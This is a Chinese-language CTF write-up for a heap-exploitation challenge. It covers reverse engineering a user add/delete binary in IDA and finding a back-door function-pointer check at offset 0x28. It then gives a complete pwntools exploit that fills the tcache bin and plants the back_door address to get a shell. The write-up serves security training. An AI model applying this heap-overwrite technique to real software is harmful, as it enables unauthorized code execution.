文件保护
ida加载
程序实现两个功能一个增加用户 一个删除用户
进入增加用户函数
进入初始化用户函数
v2申请了一个0x98大小的堆块 加上chunk头大小为0xa0
堆块中绿色部分
DWORD32位 4个字节
检测堆块函数 a1+0x28的位置
a1开始位0x8e62a8
a1+0x28
当检测位置不为0会返回执行函数(很可能有后门函数)
证实猜想
输入31位的名字将字符串保存在a1+1的位置
第二次输入将值保存a1+12的位置
创建两倍a1的堆块
蓝色部分
进行tcachebin填满
再申请一次堆块执行后面函数
获得getshell
exp
from pwn import *
context(log_level="debug",arch="amd64",os="linux")
filename = './pwn'
io = process(filename)
#io = remote('venom-6c4742434456726d.sandbox.ctfhub.com',11111)
elf = ELF(filename)
libc = elf.libc
#libc = ELF('./libc-2.23.so') # yuancheng
gdb.attach(io,"b *$rebase(0x15b8)")
def choice(index):
io.sendlineafter("3.exit\n",str(index))
def add(name,length,content):
choice(1)
io.sendlineafter("Input your name:\n",name)
io.sendlineafter("The length you want to say:\n",str(length))
io.sendlineafter("You say:",content)
def delete():
choice(2)
# 创建8个chunk,size为0xa0
#add(b'a'*31,0x4a,b'b'*0x28+p64(elf.sym['back_door'])) # 设置该chunk
#add(b'e'*31,0x4a,b'f'*0x4a)
#add(b'j'*31,0x4a,b'k'*0x4a)
#add(b'q'*31,0x4a,b'r'*0x4a)
add('carl',0x4a,b'a'*0x28+p64(elf.sym['back_door']))
add('carl',0x4a,b'a'*0x4a)
add('carl',0x4a,b'a'*0x4a)
add('carl',0x4a,b'a'*0x4a)
# 将前7个0xa0大小的chunk填入tcache bin[0xa0],多出来的一个chunk进入unsorted bin
delete()
delete()
delete()
delete()
# 此时申请chunk时,满足后门条件
choice(1)
io.interactive()